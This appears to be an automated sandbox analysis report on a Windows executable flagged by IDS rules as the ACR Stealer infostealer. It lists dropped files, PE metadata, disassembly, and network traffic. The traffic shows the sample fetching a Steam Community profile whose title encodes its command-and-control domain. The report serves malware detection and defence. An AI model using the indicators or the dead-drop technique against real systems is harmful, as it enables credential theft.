Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.1.9.2.7.2.7.1.9.9.5.6.9.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.1.9.2.7.2.7.7.1.5.1.9.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.9.6.7.1.7.4.d.-.e.0.f.b.-.4.f.6.2.-.a.5.5.1.-.e.f.3.4.d.0.0.7.3.e.2.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.e.5.6.5.1.a.b.-.5.0.7.2.-.4.0.b.d.-.8.c.4.2.-.8.d.e.8.c.f.9.c.7.8.e.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.O.X.o.e.X.1.I.i.3.x...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.2.c.-.0.0.0.1.-.0.0.1.4.-.5.6.4.7.-.3.2.d.7.2.4.5.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.c.2.2.9.7.b.9.5.8.7.7.0.8.4.1.d.b.f.2.e.5.a.9.0.4.5.1.5.b.2.7.0.0.0.0.f.f.f.f.!.0.0.0.0.3.7.0.2.4.4.6.6.9.d.a.e.a.5.f.8.7.c.7.9.7.d.6.a.d.2.4.0.a.d.b.f.b.7.0.0.6.3.8.4.!.O.X.o.e.X.1.I.i.3.x...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER74E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Jan 1 08:12:07 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	125822
Entropy (8bit):	1.8987646251592072
Encrypted:	false
SSDEEP:	768:IB3i7abJaCkmy4JG+1aebibaoH6JGlEJ:u3i6nkmxHawIr6klEJ
MD5:	CF93D625BE9B3486D4E1715A0CDA1D96
SHA1:	CEBABDBCEF76317B8C2C6C346AB87B5D3F5D1100
SHA-256:	B9291CF43095FB1DF395607A6F633AAE3790328408A75CCEBA4D834028ED46A5
SHA-512:	00A3585F3952D8CEAF064F77870805522439FB1BA415DB4A04ED891C26D972B321BC3BC6AF50D3847A27C539ED7C44DDCB79C81A7A9E2ACD8F4799BCFB144932
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........tg........................T...........d...hM..........T.......8...........T............N..v...........p"..........\$..............................................................................eJ.......$......GenuineIntel............T.......,.....tg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER868.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8378
Entropy (8bit):	3.694794779443622
Encrypted:	false
SSDEEP:	192:R6l7wVeJjia6An6YEIPSUsrgmfw2pqpDQ89b/basfNFjm:R6lXJjf6An6YEgSUsrgmfw9/b5fv6
MD5:	0A3FC6D274F764AE602198D343A6D1E5
SHA1:	FF2D00A400BDF412BFA8E99993B4E4C7FDA1924A
SHA-256:	F0FD7B61AA4A9876E044FB5E5159865E10CAB67CDFDD28105B05CD4476FC3CD4
SHA-512:	FE859EBBA787FA69171DD38414A195528D26ED2757CD2B7F5DA94E3035493D7D18BD9676226CC4C579F9388F9C9063805B071C63C6C9D815FD6AFD657E294663
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.3.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER888.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4680
Entropy (8bit):	4.460595701421241
Encrypted:	false
SSDEEP:	48:cvIwWl8zs7Jg77aI9NCbrWpW8VYj4Ym8M4JArLirnFo+q8vWrLirH9m1o30d:uIjfVI76ba7V0JArmrmKWrmrdV30d
MD5:	0CCA0F6B9FD8E88EFA38EC167A5902AF
SHA1:	86CC23419E21CCE2AEFE4EB55D03A4673442F0C4
SHA-256:	E0D449F7DC907617992349D9F98D5C5B0DE4446745D15B8E9F6D498E4E022F99
SHA-512:	F83336E97E5E47EC8A8D70AA53D763925A50286260B4393C180366C6DCCFDC8B6E343C766923090CA077F429202C09F558F74B61BC0B6BC56E591EC9E0C80A0B
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="656594" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\76561199619938930[1].htm

Download File

Process:	C:\Users\user\Desktop\OXoeX1Ii3x.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3188)
Category:	dropped
Size (bytes):	35137
Entropy (8bit):	5.372744245762644
Encrypted:	false
SSDEEP:	768:7fBpqhYGM4evx83TfwtuXNS3F4aXfsW9l+X9hJYFnzOMD5QBdxaXfsW9l+X9hJYH:DB8hYGM4evx83TfwtuX84aXfsW9l+X9c
MD5:	1E7DEB0EF5026870E7193ECDE39318E1
SHA1:	F0A95CEF0DC52C0C14562031237A677DD764FD7D
SHA-256:	58DD9DACBE007647AC9DF7B0C0922014F8752AEB107A1946ABA73236096CABAA
SHA-512:	C4E192A4C181BAB9FAD80660ECB4158F8B4DA7A700C8635538CA5C700CB651E64D0415E771108929E6CF9B307EB39CFC6B6085E8C56961843A545BB3811096BB
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html class=" responsive" lang="en">.<head>..<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">....<meta name="viewport" content="width=device-width,initial-scale=1">...<meta name="theme-color" content="#171a21">...<title>Steam Community :: 3e3 bGxhbC54eXo=4e4</title>..<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">.......<link href="https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=english&_cdn=fastly" rel="stylesheet" type="text/css">.<link href="https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&_cdn=fastly" rel="stylesheet" type="text/css">.<link href="https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=english&_cdn=fastly" rel="stylesheet" type="text/css">.<link href="https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_cdn=fastly" re

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421553804709631
Encrypted:	false
SSDEEP:	6144:USvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNE0uhiTw:fvloTMW+EZMM6DFyG03w
MD5:	C516BB8D4FE8011115BEE0D5871D400D
SHA1:	AF5BD590DFCAE41C7C5EA36F4B8868960569B4AD
SHA-256:	AF3843E1AFE6AE292D5E2B1CFD571F1ACAF76D6281EA3BE77E0B87DA497B31EA
SHA-512:	7A4DD3D21DB4E8F2AC5A14D5EE262F36C74C314C3372E55BBDC60D1C26734D192996D8527BBDF647466588BAB53B72532140768EBEB2E18440D68202320DD611
Malicious:	false
Reputation:	low
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.'E.$\................................................................................................................................................................................................................................................................................................................................................R.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.544491165544845
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OXoeX1Ii3x.exe
File size:	378'368 bytes
MD5:	3e9881b9c6ff4994fc9d684456694e77
SHA1:	370244669daea5f87c797d6ad240adbfb7006384
SHA256:	a35599ceb0a707d21515a6813b699a86ef0bef98fb42b804274640df2cef4879
SHA512:	7b9c266baac07d919376931191ec5ba861ea747cce2a080ddfff3d76067c5125b75618d579db55a3458309743cbe12a75aa76feb1a1a9f5397eed9aa87b0a996
SSDEEP:	6144:HSD7bIFLWv34AH9i1Bb5bB3JymF5siEy+GFafYJdWFN+VK:2YQLo1BtWmhEIJovsK
TLSH:	29849C32B945E432D16202311F5DDBB5AA7DB1700FB218CBB3E45E6DAEB46C09231F66
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............t...t...t.......t......1t.......t..O....t..O....t..O....t.......t...t...t..~....t..~....t..Rich.t..........PE..L...w.Xf...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41d1a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6658D677 [Thu May 30 19:41:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	64cf79ceef6f212e81ad5276c01ae859

Entrypoint Preview

Instruction
call 00007FD5C0CBFF15h
jmp 00007FD5C0CBF8CDh
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00446B48h
mov dword ptr [ecx], 00446B40h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007FD5C0CBFA3Fh
push 004572E4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007FD5C0CC2B85h
int3
push ebp
mov ebp, esp
and dword ptr [0045A5D8h], 00000000h
sub esp, 24h
or dword ptr [00459084h], 01h
push 0000000Ah
call dword ptr [004460A0h]
test eax, eax
je 00007FD5C0CBFC12h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
nop
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-20h]
mov dword ptr [ebp-0Ch], eax
xor edi, 756E6547h
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr [ebp-1Ch]
xor eax, 6C65746Eh
mov dword ptr [ebp-08h], eax
xor eax, eax
inc eax
push ebx
cpuid
mov esi, ebx
pop ebx
nop
lea ebx, dword ptr [ebp-24h]
mov dword ptr [ebx], eax
mov eax, dword ptr [ebp-04h]
or eax, dword ptr [ebp-08h]
or eax, edi
mov dword ptr [ebx+04h], esi
mov dword ptr [ebx+08h], ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x57f40	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c000	0x37bc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x513d0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x51310	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x46000	0x1a4	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x44a0a	0x44c00	8d7060d73bc148599fa8d6329daec2ed	False	0.5540056818181818	data	6.635307481318297	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x46000	0x128da	0x12a00	514b84d1c41bc5ae9a4f2bd0b693bec4	False	0.4049522860738255	data	4.9965728381036545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x59000	0x2248	0x1400	71b16004b0d569191cb890591629e3c2	False	0.1845703125	DOS executable (block device driver)	3.3917146849602275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x5c000	0x37bc	0x3800	3f1d3462bb72b406a84416993d5de400	False	0.7054268973214286	data	6.597143871177635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	MultiByteToWideChar, FindFirstFileA, HeapFree, OutputDebugStringA, FindNextFileA, lstrlenA, FindClose, Sleep, GetTempPathA, HeapAlloc, GetProcessHeap, GetNativeSystemInfo, WriteFile, SetFilePointer, CreateFileA, CloseHandle, ExitProcess, TerminateProcess, WaitForSingleObject, OpenProcess, CreateToolhelp32Snapshot, Process32NextW, Process32FirstW, GetCurrentProcessId, WideCharToMultiByte, HeapSize, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, ReadConsoleW, GetFileSizeEx, HeapReAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetStringTypeW, InitializeCriticalSectionEx, GetProcAddress, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, RtlUnwind, RaiseException, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, SetEndOfFile, CreateFileW, GetFileType, ReadFile, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, GetCommandLineA, GetCommandLineW, SetStdHandle, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetTimeZoneInformation, FlushFileBuffers, WriteConsoleW
USER32.dll	FindWindowA
SHELL32.dll	SHGetFolderPathA
WININET.dll	InternetWriteFile
SHLWAPI.dll	PathMatchSpecA
RstrtMgr.DLL	RmGetList, RmRegisterResources, RmStartSession, RmEndSession

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T09:12:05.545826+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49704	104.102.49.254	443	TCP
2025-01-01T09:12:06.422346+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49705	188.114.96.3	443	TCP
2025-01-01T09:12:06.422346+0100	2052674	ET MALWARE ACR Stealer CnC Checkin Attempt	1	192.168.2.5	49705	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 09:12:04.343487024 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:04.343533039 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:04.343597889 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:04.354870081 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:04.354883909 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.003324986 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.003436089 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.102415085 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.102438927 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.102829933 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.103106976 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.126981974 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.171344995 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.545872927 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.545896053 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.545908928 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.546072960 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.546072960 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.546096087 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.546163082 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.640194893 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.640213966 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.640387058 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.640387058 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.640403032 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.643332005 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.645080090 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.645168066 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.649601936 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.649674892 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.649751902 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.649775028 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.649790049 CET	443	49704	104.102.49.254	192.168.2.5
Jan 1, 2025 09:12:05.649800062 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.649931908 CET	49704	443	192.168.2.5	104.102.49.254
Jan 1, 2025 09:12:05.732177019 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:05.732227087 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:05.732382059 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:05.732709885 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:05.732726097 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.208406925 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.208518982 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.213376045 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.213387012 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.213691950 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.213757038 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.214087009 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.259325981 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.422357082 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.422430038 CET	443	49705	188.114.96.3	192.168.2.5
Jan 1, 2025 09:12:06.422439098 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.422547102 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.485462904 CET	49705	443	192.168.2.5	188.114.96.3
Jan 1, 2025 09:12:06.485491991 CET	443	49705	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 09:12:04.327714920 CET	61360	53	192.168.2.5	1.1.1.1
Jan 1, 2025 09:12:04.334865093 CET	53	61360	1.1.1.1	192.168.2.5
Jan 1, 2025 09:12:05.686605930 CET	53248	53	192.168.2.5	1.1.1.1
Jan 1, 2025 09:12:05.711291075 CET	53	53248	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 09:12:04.327714920 CET	192.168.2.5	1.1.1.1	0x82fb	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 1, 2025 09:12:05.686605930 CET	192.168.2.5	1.1.1.1	0x8292	Standard query (0)	llal.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 09:12:04.334865093 CET	1.1.1.1	192.168.2.5	0x82fb	No error (0)	steamcommunity.com	104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 1, 2025 09:12:05.711291075 CET	1.1.1.1	192.168.2.5	0x8292	No error (0)	llal.xyz	188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 1, 2025 09:12:05.711291075 CET	1.1.1.1	192.168.2.5	0x8292	No error (0)	llal.xyz	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

llal.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.102.49.254	443	4396	C:\Users\user\Desktop\OXoeX1Ii3x.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 08:12:05 UTC	206	OUT	GET /profiles/76561199619938930 HTTP/1.1 User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603 Host: steamcommunity.com Cache-Control: no-cache
2025-01-01 08:12:05 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 01 Jan 2025 08:12:05 GMT Content-Length: 35137 Connection: close Set-Cookie: sessionid=3a9a3929362069a998b4a6f6; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-01 08:12:05 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
